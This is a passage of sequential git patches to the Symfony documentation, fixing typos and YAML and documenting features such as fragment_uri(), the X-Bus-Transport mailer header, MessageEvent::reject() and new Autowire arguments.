+++ b/messenger.rst
@@ -1917,7 +1917,7 @@ this globally (or for each transport) to a service that implements
                     ->context('foo', 'bar');
 
             $messenger->transport('async_priority_normal')
-                ->dsn(...)
+                ->dsn('...')
                 ->serializer('messenger.transport.symfony_serializer');
         };
 
@@ -2180,8 +2180,8 @@ Then, make sure to "route" your message to *both* transports:
         return static function (FrameworkConfig $framework) {
             $messenger = $framework->messenger();
 
-            $messenger->transport('async_priority_normal')->dsn(...);
-            $messenger->transport('image_transport')->dsn(...);
+            $messenger->transport('async_priority_normal')->dsn('...');
+            $messenger->transport('image_transport')->dsn('...');
 
             $messenger->routing('App\Message\UploadedImage')
                 ->senders(['image_transport', 'async_priority_normal']);
diff --git a/testing.rst b/testing.rst
index a092a7b5bfa..0e7d861894f 100644
--- a/testing.rst
+++ b/testing.rst
@@ -267,7 +267,7 @@ the container is returned by ``static::getContainer()``::
 
             // (3) run some service & test the result
             $newsletterGenerator = $container->get(NewsletterGenerator::class);
-            $newsletter = $newsletterGenerator->generateMonthlyNews(...);
+            $newsletter = $newsletterGenerator->generateMonthlyNews(/* ... */);
 
             $this->assertEquals('...', $newsletter->getContent());
         }

From 637d688f462d049ca4f6068faa9a385994cd51ec Mon Sep 17 00:00:00 2001
From: Grzegorz Zdanowski <grzegorz@noflash.pl>
Date: Sat, 24 Dec 2022 22:56:14 -0600
Subject: [PATCH 3999/7107] Fix invalid yaml for password hashing in test env

---
 security/passwords.rst | 27 +++++++++++++++------------
 1 file changed, 15 insertions(+), 12 deletions(-)

diff --git a/security/passwords.rst b/security/passwords.rst
index 47f5e7f0424..2a2f7acc336 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -134,19 +134,22 @@ Further in this article, you can find a
     .. configuration-block::
 
         .. code-block:: yaml
-
+        
             # config/packages/test/security.yaml
-            password_hashers:
-                # Use your user class name here
-                App\Entity\User:
-                    algorithm: plaintext # disable hashing (only do this in tests!)
-
-                # or use the lowest possible values
-                App\Entity\User:
-                    algorithm: auto # This should be the same value as in config/packages/security.yaml
-                    cost: 4 # Lowest possible value for bcrypt
-                    time_cost: 3 # Lowest possible value for argon
-                    memory_cost: 10 # Lowest possible value for argon
+            security:
+                # ...
+
+                password_hashers:
+                    # Use your user class name here
+                    App\Entity\User:
+                        algorithm: plaintext # disable hashing (only do this in tests!)
+
+                    # or use the lowest possible values
+                    App\Entity\User:
+                        algorithm: auto # This should be the same value as in config/packages/security.yaml
+                        cost: 4 # Lowest possible value for bcrypt
+                        time_cost: 3 # Lowest possible value for argon
+                        memory_cost: 10 # Lowest possible value for argon
 
         .. code-block:: xml
 

From 804f01772635581df66e5bd65ea7130f2ad874a2 Mon Sep 17 00:00:00 2001
From: Grzegorz Zdanowski <grzegorz@noflash.pl>
Date: Sat, 24 Dec 2022 22:59:28 -0600
Subject: [PATCH 4000/7107] Bump Symfony version

---
 contributing/documentation/overview.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/contributing/documentation/overview.rst b/contributing/documentation/overview.rst
index 78e90d04483..2ea1054eb7b 100644
--- a/contributing/documentation/overview.rst
+++ b/contributing/documentation/overview.rst
@@ -112,16 +112,16 @@ memorable name for the new branch (if you are fixing a reported issue, use
 
 .. code-block:: terminal
 
-    $ git checkout -b improve_install_article upstream/4.4
+    $ git checkout -b improve_install_article upstream/5.4
 
 In this example, the name of the branch is ``improve_install_article`` and the
-``upstream/4.4`` value tells Git to create this branch based on the ``4.4``
+``upstream/5.4`` value tells Git to create this branch based on the ``5.4``
 branch of the ``upstream`` remote, which is the original Symfony Docs repository.
 
 Fixes should always be based on the **oldest maintained branch** which contains
-the error. Nowadays this is the ``4.4`` branch. If you are instead documenting a
+the error. Nowadays this is the ``5.4`` branch. If you are instead documenting a
 new feature, switch to the first Symfony version that included it, e.g.
-``upstream/5.4``.
+``upstream/6.2``.
 
 **Step 5.** Now make your changes in the documentation. Add, tweak, reword and
 even remove any content and do your best to comply with the
@@ -155,7 +155,7 @@ changes should be applied:
    :align: center
 
 In this example, the **base fork** should be ``symfony/symfony-docs`` and
-the **base** branch should be the ``4.4``, which is the branch that you selected
+the **base** branch should be the ``5.4``, which is the branch that you selected
 to base your changes on. The **head fork** should be your forked copy
 of ``symfony-docs`` and the **compare** branch should be ``improve_install_article``,
 which is the name of the branch you created and where you made your changes.
@@ -205,7 +205,7 @@ contribution to the Symfony docs:
     # create a new branch based on the oldest maintained version
     $ cd projects/symfony-docs/
     $ git fetch upstream
-    $ git checkout -b my_changes upstream/4.4
+    $ git checkout -b my_changes upstream/5.4
 
     # ... do your changes
 
@@ -254,8 +254,8 @@ into multiple branches, corresponding to the different versions of Symfony itsel
 The latest (e.g. ``5.x``) branch holds the documentation for the development branch of
 the code.
 
-Unless you're documenting a feature that was introduced after Symfony 4.4,
-your changes should always be based on the ``4.4`` branch. Documentation managers
+Unless you're documenting a feature that was introduced after Symfony 5.4,
+your changes should always be based on the ``5.4`` branch. Documentation managers
 will use the necessary Git-magic to also apply your changes to all the active
 branches of the documentation.
 

From 955d73198ae8a9caae57db2f289378562e289009 Mon Sep 17 00:00:00 2001
From: Nextpage <92269411+nxtpge@users.noreply.github.com>
Date: Sun, 25 Dec 2022 15:42:32 +0100
Subject: [PATCH 4001/7107] [Contributing] [Code] Add a step for forking in
 "Proposing a Change"

---
 contributing/code/pull_requests.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 40e11e73364..fa2306f613c 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -87,6 +87,8 @@ Get the Symfony source code:
 
 * Fork the `Symfony repository`_ (click on the "Fork" button);
 
+* Uncheck the "Copy the ``X.Y`` branch only";
+
 * After the "forking action" has completed, clone your fork locally
   (this will create a ``symfony`` directory):
 

From 852824e301a2bfdf7280cd78cfb67de03c89371e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 26 Dec 2022 21:18:20 +0100
Subject: [PATCH 4002/7107] [FrameworkBundle][HttpKernel][TwigBridge] Add an
 helper to generate fragments URL

---
 reference/twig_reference.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index e905a4d2b05..c0e074dfa8b 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -63,6 +63,28 @@ falls back to the behavior of `render`_ otherwise.
     in the function name, e.g. ``render_hinclude()`` will use the hinclude.js
     strategy. This works for all ``render_*()`` functions.
 
+fragment_uri
+~~~~~~~~~~~~
+
+.. code-block:: twig
+
+    {{ fragment_uri(controller, absolute = false, strict = true, sign = true) }}
+
+``controller``
+    **type**: ``ControllerReference``
+``absolute`` *(optional)*
+    **type**: ``boolean`` **default**: ``false``
+``strict`` *(optional)*
+    **type**: ``boolean`` **default**: ``true``
+``sign`` *(optional)*
+    **type**: ``boolean`` **default**: ``true``
+
+Generates the URI of a fragment.
+
+.. versionadded:: 5.3
+
+    The ``fragment_uri()`` function was introduced in Symfony 5.3.
+
 controller
 ~~~~~~~~~~
 

From e4f30166c2908c3e93327f3661db53c5a93241ca Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 26 Dec 2022 21:32:10 +0100
Subject: [PATCH 4003/7107] [Translation] Translatable parameters

---
 translation.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/translation.rst b/translation.rst
index 366c64c8517..de6bdd12b84 100644
--- a/translation.rst
+++ b/translation.rst
@@ -345,6 +345,10 @@ Templates are now much simpler because you can pass translatable objects to the
     <h1>{{ message|trans }}</h1>
     <p>{{ status|trans }}</p>
 
+.. tip::
+
+    The translation parameters can also be a :class:`Symfony\\Component\\Translation\\TranslatableMessage`.
+
 .. tip::
 
     There's also a :ref:`function called t() <reference-twig-function-t>`,

From 5c1771fbd5b88b0caac5d8f8d319a1d0e50e765a Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 26 Dec 2022 22:02:41 +0100
Subject: [PATCH 4004/7107] [Mailer] Add a way to change the Bus transport
 dynamically

---
 mailer.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 45be91a7cc4..e87e985d96d 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1333,6 +1333,18 @@ disable asynchronous delivery.
     The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
     method was made public in Symfony 6.1.
 
+Bus transport can also be selected by
+adding an ``X-Bus-Transport`` header (which will remove automatically from
+the final message)::
+
+    // Use the bus transport "app.another_bus":
+    $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');
+    $mailer->send($email);
+
+.. versionadded:: 6.2
+
+    The ``X-Bus-Transport`` header support was introduced in Symfony 6.2.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 

From 50cdaf61974297e7f11d213757e9fefe226f84d5 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 27 Dec 2022 09:39:52 +0100
Subject: [PATCH 4005/7107] fix tilde not rendered in filesystem doc

---
 components/filesystem.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/filesystem.rst b/components/filesystem.rst
index cf6166d78a5..3b6c92ad6fa 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -352,7 +352,7 @@ following rules iteratively until no further processing can be done:
 - root paths ("/" and "C:/") always terminate with a slash;
 - non-root paths never terminate with a slash;
 - schemes (such as "phar://") are kept;
-- replace "~" with the user's home directory.
+- replace ``~`` with the user's home directory.
 
 You can canonicalize a path with :method:`Symfony\\Component\\Filesystem\\Path::canonicalize`::
 

From a6f75ecad4ea6137fd0b5f4d43e809856724989c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Dec 2022 12:56:41 +0100
Subject: [PATCH 4006/7107] Link to a reference

---
 reference/twig_reference.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index c0e074dfa8b..5f89688991b 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -79,7 +79,7 @@ fragment_uri
 ``sign`` *(optional)*
     **type**: ``boolean`` **default**: ``true``
 
-Generates the URI of a fragment.
+Generates the URI of :ref:`a fragment <fragments-path-config>`.
 
 .. versionadded:: 5.3
 

From cab13941d19fd4ff07d66208ce8f890729c6a8aa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Dec 2022 13:01:35 +0100
Subject: [PATCH 4007/7107] Remove a versionadded directive

---
 reference/twig_reference.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 735979f8c76..169ba176bb3 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -81,10 +81,6 @@ fragment_uri
 
 Generates the URI of :ref:`a fragment <fragments-path-config>`.
 
-.. versionadded:: 5.3
-
-    The ``fragment_uri()`` function was introduced in Symfony 5.3.
-
 controller
 ~~~~~~~~~~
 

From e435d2c9be5aab0c6c3f3d7a773bde7727f64ee4 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Mon, 26 Dec 2022 06:53:53 -0600
Subject: [PATCH 4008/7107] inline the constructor

---
 form/data_transformers.rst | 5 +----
 1 file changed, 1 insertion(+), 4 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index ff3b25147fc..8258ee2794a 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -177,11 +177,8 @@ to and from the issue number and the ``Issue`` object::
 
     class IssueToNumberTransformer implements DataTransformerInterface
     {
-        private $entityManager;
-
-        public function __construct(EntityManagerInterface $entityManager)
+        public function __construct(private EntityManagerInterface $entityManager)
         {
-            $this->entityManager = $entityManager;
         }
 
         /**

From 399076b9508b45cb83f11df80d7f35be9f09ed70 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 27 Dec 2022 15:20:48 +0100
Subject: [PATCH 4009/7107] Minor tweak

---
 mailer.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 2e8b729a90d..a1d2577def5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1342,9 +1342,8 @@ disable asynchronous delivery.
     The :method:`Symfony\\Component\\Mailer\\Transport\\Smtp\\SmtpTransport::stop`
     method was made public in Symfony 6.1.
 
-Bus transport can also be selected by
-adding an ``X-Bus-Transport`` header (which will remove automatically from
-the final message)::
+You can also select the transport by adding an ``X-Bus-Transport`` header (which
+will be remove automatically from the final message)::
 
     // Use the bus transport "app.another_bus":
     $email->getHeaders()->addTextHeader('X-Bus-Transport', 'app.another_bus');

From 76341b28d62a6d6d986d0a96abf04225704b9f9e Mon Sep 17 00:00:00 2001
From: Erwan Richard <erwan.richard@protonmail.com>
Date: Tue, 27 Dec 2022 11:18:50 +0100
Subject: [PATCH 4010/7107] Fix choice_label

---
 reference/forms/types/enum.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 2fa79d37a22..63bca396c4b 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -63,7 +63,7 @@ dots or spaces). If you need more flexibility for these labels, use the
 
     ->add('textAlign', EnumType::class, [
         'class' => TextAlign::class,
-        'choice_label' => match ($choice) {
+        'choice_label' => fn ($choice) => match ($choice) {
             TextAlign::Left => 'text_align.left.label',
             TextAlign::Center => 'text_align.center.label',
             TextAlign::Right  => 'text_align.right.label',

From 4f17fcb9e271c45492d383eb79dfdd28e1a34211 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 14 Dec 2022 15:55:02 +0100
Subject: [PATCH 4011/7107] Symfony CLI: document the .symfony.local.yaml
 config file

---
 setup/symfony_server.rst | 36 +++++++++++++++++++++++++++++++++---
 1 file changed, 33 insertions(+), 3 deletions(-)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b9cdb4c2850..37cbc767ccd 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -284,16 +284,46 @@ server provides a ``run`` command to wrap them as follows:
     # stop the web server (and all the associated commands) when you are finished
     $ symfony server:stop
 
-Configuring Workers
--------------------
+Configuration file
+------------------
 
 .. caution::
 
     This feature is experimental and could change or be removed at any time
     without prior notice.
 
+There are several options that you can set using a ``.symfony.local.yaml`` config file:
+
+.. code-block:: yaml
+
+    # Sets domain1.wip and domain2.wip for the current project
+    proxy:
+        domains:
+            - domain1
+            - domain2
+
+    http:
+        document_root: public/ # Path to the project document root
+        passthru: index.php # Project passthru index
+        port: 8000 # Force the port that will be used to run the server
+        preferred_port: 8001 # Preferred HTTP port [default: 8000]
+        p12: path/to/p12_cert # Name of the file containing the TLS certificate to use in p12 format
+        allow_http: true # Prevent auto-redirection from HTTP to HTTPS
+        no_tls: true # Use HTTP instead of HTTPS
+        daemon: true # Run the server in the background
+        use_gzip: true # Toggle GZIP compression
+
+.. caution::
+
+    Setting domains in this configuration file will override any domains you set
+    using the ``proxy:domain:attach`` command for the current project when you start
+    the server.
+
+Configuring Workers
+~~~~~~~~~~~~~~~~~~~
+
 If you like some processes to start automatically, along with the webserver
-(``symfony server:start``), add a configuration file to your project:
+(``symfony server:start``), you can set them in the YAML configuration file:
 
 .. code-block:: yaml
 

From 1c7b68db0a9488d84b9447627aedf57b151f78ad Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 27 Dec 2022 22:39:35 +0100
Subject: [PATCH 4012/7107] [DependencyInjection] Add env and param parameters
 for Autowire attribute

---
 service_container/autowiring.rst | 17 +++++++++++++----
 1 file changed, 13 insertions(+), 4 deletions(-)

diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 043f2bd25ed..7e1494657d9 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -564,8 +564,8 @@ logic about those arguments::
 
     The ``#[Autowire]`` attribute was introduced in Symfony 6.1.
 
-The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`
-and even :doc:`complex expressions </service_container/expression_language>`::
+The ``#[Autowire]`` attribute can also be used for :ref:`parameters <service-parameters>`,
+:doc:`complex expressions </service_container/expression_language>` and even :ref:`environment variables <config-env-vars>`::
 
     // src/Service/MessageGenerator.php
     namespace App\Service;
@@ -580,17 +580,26 @@ and even :doc:`complex expressions </service_container/expression_language>`::
             #[Autowire('%kernel.project_dir%/data')]
             string $dataDir,
 
-            #[Autowire('%kernel.debug%')]
+            // or use argument "param"
+            #[Autowire(param: 'kernel.debug')]
             bool $debugMode,
 
-            // and expressions
+            // expressions
             #[Autowire(expression: 'service("App\\Mail\\MailerConfiguration").getMailerMethod()')]
             string $mailerMethod
+
+            // environment variable
+            #[Autowire(env: 'SOME_ENV_VAR')]
+            string $senderName
         ) {
         }
         // ...
     }
 
+.. versionadded:: 6.3
+
+    The ``param`` and ``env`` arguments were introduced in Symfony 6.3.
+
 .. _autowiring-calls:
 
 Autowiring other Methods (e.g. Setters and Public Typed Properties)

From 0b41f1cdf5a20be9516f4a61008592677b0f27db Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 28 Dec 2022 09:21:47 +0100
Subject: [PATCH 4013/7107] notifier - do not display todo doc on site

---
 notifier.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index d56cd3534c7..040723bf6d9 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -749,9 +749,9 @@ all configured texter and chatter transports only in the ``dev`` (and/or
                 slack: 'null://null'
 
 .. TODO
-    - Using the message bus for asynchronous notification
-    - Describe notifier monolog handler
-    - Describe notification_on_failed_messages integration
+..    - Using the message bus for asynchronous notification
+..    - Describe notifier monolog handler
+..    - Describe notification_on_failed_messages integration
 
 Learn more
 ----------

From dc1ed0b1f868e6e533292e3ebbee1b180d7978a3 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 30 Dec 2022 08:16:50 +0100
Subject: [PATCH 4014/7107] Add information about profile auto-cleanup

---
 console/calling_commands.rst |  2 +-
 profiler.rst                 | 11 ++++++++++-
 2 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/console/calling_commands.rst b/console/calling_commands.rst
index 2defb04d49a..001dc47e35e 100644
--- a/console/calling_commands.rst
+++ b/console/calling_commands.rst
@@ -58,6 +58,6 @@ method)::
 
 .. note::
 
-    Most of the times, calling a command from code that is not executed on the
+    Most of the time, calling a command from code that is not executed on the
     command line is not a good idea. The main reason is that the command's
     output is optimized for the console and not to be passed to other commands.
diff --git a/profiler.rst b/profiler.rst
index 42e925b89c8..1cce51d75cd 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -35,10 +35,19 @@ Symfony Profiler, which will look like this:
     in the ``X-Debug-Token-Link`` HTTP response header. Browse the ``/_profiler``
     URL to see all profiles.
 
+.. versionadded:: 6.3
+
+    Profile garbage collection was introduced in Symfony 6.3.
+
+.. note::
+
+    To limit the storage used by profiles on disk, they are probabilistically
+    removed after 2 days.
+
 Accessing Profiling Data Programmatically
 -----------------------------------------
 
-Most of the times, the profiler information is accessed and analyzed using its
+Most of the time, the profiler information is accessed and analyzed using its
 web-based interface. However, you can also retrieve profiling information
 programmatically thanks to the methods provided by the ``profiler`` service.
 

From d937f048474fd9b7f8747250fb4b5770426fb24a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Fri, 30 Dec 2022 08:53:16 +0100
Subject: [PATCH 4015/7107] Add html_to_text_converter config docs

---
 mailer.rst                       | 32 +++++++++++++++++++++-----------
 reference/configuration/twig.rst | 19 +++++++++++++++++++
 2 files changed, 40 insertions(+), 11 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a1d2577def5..7c8ab512493 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -717,12 +717,22 @@ method of the ``TemplatedEmail`` class and also to a special variable called
 Text Content
 ~~~~~~~~~~~~
 
-When the text content of a ``TemplatedEmail`` is not explicitly defined, mailer
-will generate it automatically by converting the HTML contents into text. If you
-have `league/html-to-markdown`_ installed in your application,
-it uses that to turn HTML into Markdown (so the text email has some visual appeal).
-Otherwise, it applies the :phpfunction:`strip_tags` PHP function to the original
-HTML contents.
+When the text content of a ``TemplatedEmail`` is not explicitly defined, it is
+automatically generated from the HTML contents.
+
+Symfony uses the following strategy when generating the text version of an
+email:
+
+* If an explicit HTML to text converter has been configured (see
+  :ref:`twig.mailer.html_to_text_converter
+  <config-twig-html-to-text-converter>`), it calls it;
+
+* If not, and if you have `league/html-to-markdown`_ installed in your
+  application, it uses it to turn HTML into Markdown (so the text email has
+  some visual appeal);
+
+* Otherwise, it applies the :phpfunction:`strip_tags` PHP function to the
+  original HTML contents.
 
 If you want to define the text content yourself, use the ``text()`` method
 explained in the previous sections or the ``textTemplate()`` method provided by
@@ -732,13 +742,13 @@ the ``TemplatedEmail`` class:
 
     + use Symfony\Bridge\Twig\Mime\TemplatedEmail;
 
-    $email = (new TemplatedEmail())
-        // ...
+     $email = (new TemplatedEmail())
+         // ...
 
-        ->htmlTemplate('emails/signup.html.twig')
+         ->htmlTemplate('emails/signup.html.twig')
     +     ->textTemplate('emails/signup.txt.twig')
-        // ...
-    ;
+         // ...
+     ;
 
 .. _mailer-twig-embedding-images:
 
diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index 54961707833..ce6dd45a772 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -302,6 +302,25 @@ globals
 It defines the global variables injected automatically into all Twig templates.
 Learn more about :doc:`Twig global variables </templating/global_variables>`.
 
+mailer
+~~~~~~
+
+.. _config-twig-html-to-text-converter:
+
+html_to_text_converter
+......................
+
+**type**: ``string`` **default**: ````
+
+.. versionadded:: 6.2
+
+    The ``html_to_text_converter`` option was introduced in Symfony 6.2.
+
+The service implementing
+:class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface`
+that will be used to automatically create the text part of an email from its
+HTML contents when not explicitely defined.
+
 number_format
 ~~~~~~~~~~~~~
 

From f6bd7ebd7883c7c3eb20671b8ef228b87971195b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 30 Dec 2022 15:02:26 +0100
Subject: [PATCH 4016/7107] Typo

---
 reference/configuration/twig.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/twig.rst b/reference/configuration/twig.rst
index ce6dd45a772..5e5ad16c675 100644
--- a/reference/configuration/twig.rst
+++ b/reference/configuration/twig.rst
@@ -319,7 +319,7 @@ html_to_text_converter
 The service implementing
 :class:`Symfony\\Component\\Mime\\HtmlToTextConverter\\HtmlToTextConverterInterface`
 that will be used to automatically create the text part of an email from its
-HTML contents when not explicitely defined.
+HTML contents when not explicitly defined.
 
 number_format
 ~~~~~~~~~~~~~

From 11596b0211886736c1bf14b9fc8ab1123c9c1dbd Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sat, 31 Dec 2022 14:16:12 +0100
Subject: [PATCH 4017/7107] Document MessageEvent::reject()

---
 mailer.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 7c8ab512493..759fed60570 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1483,6 +1483,20 @@ the email is sent::
         // do something with the message
     }
 
+If you want to stop the Message from being sent, call ``reject()`` (it will
+also stop the event propagation)::
+
+    use Symfony\Component\Mailer\Event\MessageEvent;
+
+    public function onMessage(MessageEvent $event): void
+    {
+        $event->reject();
+    }
+
+.. versionadded:: 6.3
+
+    The ``reject()`` method was introduced in Symfony 6.3.
+
 .. tip::
 
     When using a ``MessageEvent`` listener to

From bdbb3deb4e39e603308321769d84aaced83e45f1 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Jan 2023 13:26:13 +0100
Subject: [PATCH 4018/7107] [Intl] Add a special locale to strip emojis

---
 components/string.rst | 11 +++++++++++
 1 file changed, 11 insertions(+)

diff --git a/components/string.rst b/components/string.rst
index 29a74136f63..11db53d4442 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -552,6 +552,17 @@ from GitHub or Slack, use the first argument of ``withEmoji()`` method::
     $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
     // $slug = 'a-smiley-cat-black-cat-and-a-lion';
 
+If you want to strip emojis from a string, you can also use the special
+``strip`` locale::
+
+    use Symfony\Component\String\Slugger\AsciiSlugger;
+
+    $slugger = new AsciiSlugger();
+    $slugger = $slugger->withEmoji('strip');
+
+    $slug = $slugger->slug('a 😺, 🐈‍⬛, and a 🦁');
+    // $slug = 'a-and-a';
+
 .. _string-inflector:
 
 Inflector

From df5014399b6c2b793510d94c3dc8ebb1aac7c187 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Jan 2023 16:17:29 +0100
Subject: [PATCH 4019/7107] [DependencyInjection] Allow injecting the current
 env into php config closures

---
 service_container.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/service_container.rst b/service_container.rst
index f2be38267d6..9eca7a49d1d 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1186,6 +1186,22 @@ If you want to pass the second, you'll need to :ref:`manually wire the service <
     and the automatically loaded service will be passed - by default - when you type-hint
     ``SiteUpdateManager``. That's why creating the alias is a good idea.
 
+When using PHP closures to configure your services, it is possible to automatically
+inject the current environment value by adding a string argument named ``$env`` to
+the closure::
+
+.. configuration-block::
+
+    .. code-block:: php
+
+        // config/packages/my_config.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return function(ContainerConfigurator $configurator, string $env) {
+            // `$env` is automatically filled in, you can configure your
+            // services depending on which environment you're on
+        };
+
 Learn more
 ----------
 

From 1928fb67e40bb4ddcee6382edfb4fe03c3b1051b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 1 Jan 2023 22:24:00 +0100
Subject: [PATCH 4020/7107] [DomCrawler][FrameworkBundle] Add
 assertSelectorCount

---
 testing.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/testing.rst b/testing.rst
index 4f8c64f89bd..d1dc6d0e365 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1020,6 +1020,8 @@ Crawler Assertions
 ``assertSelectorExists(string $selector, string $message = '')``/``assertSelectorNotExists(string $selector, string $message = '')``
     Asserts that the given selector does (not) match at least one element
     in the response.
+``assertSelectorCount(int $expectedCount, string $selector, string $message = '')``
+    Asserts that the expected number of selector elements are in the response
 ``assertSelectorTextContains(string $selector, string $text, string $message = '')``/``assertSelectorTextNotContains(string $selector, string $text, string $message = '')``
     Asserts that the first element matching the given selector does (not)
     contain the expected text.
@@ -1039,6 +1041,10 @@ Crawler Assertions
     Asserts that value of the field of the first form matching the given
     selector does (not) equal the expected value.
 
+.. versionadded:: 6.3
+
+    The ``assertSelectorCount()`` method was introduced in Symfony 6.3.
+
 Mailer Assertions
 .................
 

From 54d88e1c468852cd5ad556a61a386642dfa31f2a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sun, 1 Jan 2023 15:43:53 +0100
Subject: [PATCH 4021/7107] [Console] Add placeholder formatters per
 ProgressBar instance

---
 components/console/helpers/progressbar.rst | 14 ++++++++++++++
 1 file changed, 14 insertions(+)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 94f2a550f80..fcf1387d653 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -337,6 +337,7 @@ display that are not available in the list of built-in placeholders, you can
 create your own. Let's see how you can create a ``remaining_steps`` placeholder
 that displays the number of remaining steps::
 
+    // This definition is globally registered for all ProgressBar instances
     ProgressBar::setPlaceholderFormatterDefinition(
         'remaining_steps',
         function (ProgressBar $progressBar, OutputInterface $output) {
@@ -344,6 +345,19 @@ that displays the number of remaining steps::
         }
     );
 
+It is also possible to set a placeholder formatter per ProgressBar instance
+with the ``setPlaceholderFormatter`` method::
+
+    $progressBar = new ProgressBar($output, 3, 0);
+    $progressBar->setFormat('%countdown% [%bar%]');
+    $progressBar->setPlaceholderFormatter('countdown', function (ProgressBar $progressBar) {
+        return $progressBar->getMaxSteps() - $progressBar->getProgress();
+    });
+
+.. versionadded:: 6.3
+
+    The ``setPlaceholderFormatter()`` method was introduced in Symfony 6.3.
+
 Custom Messages
 ~~~~~~~~~~~~~~~
 

From 874f0260708961aad282888ce2ade08e5a6ccada Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 2 Jan 2023 09:34:10 +0100
Subject: [PATCH 4022/7107] Add the versionadded directive

---
 components/string.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 11db53d4442..e7e9a024d70 100644
--- a/components/string.rst
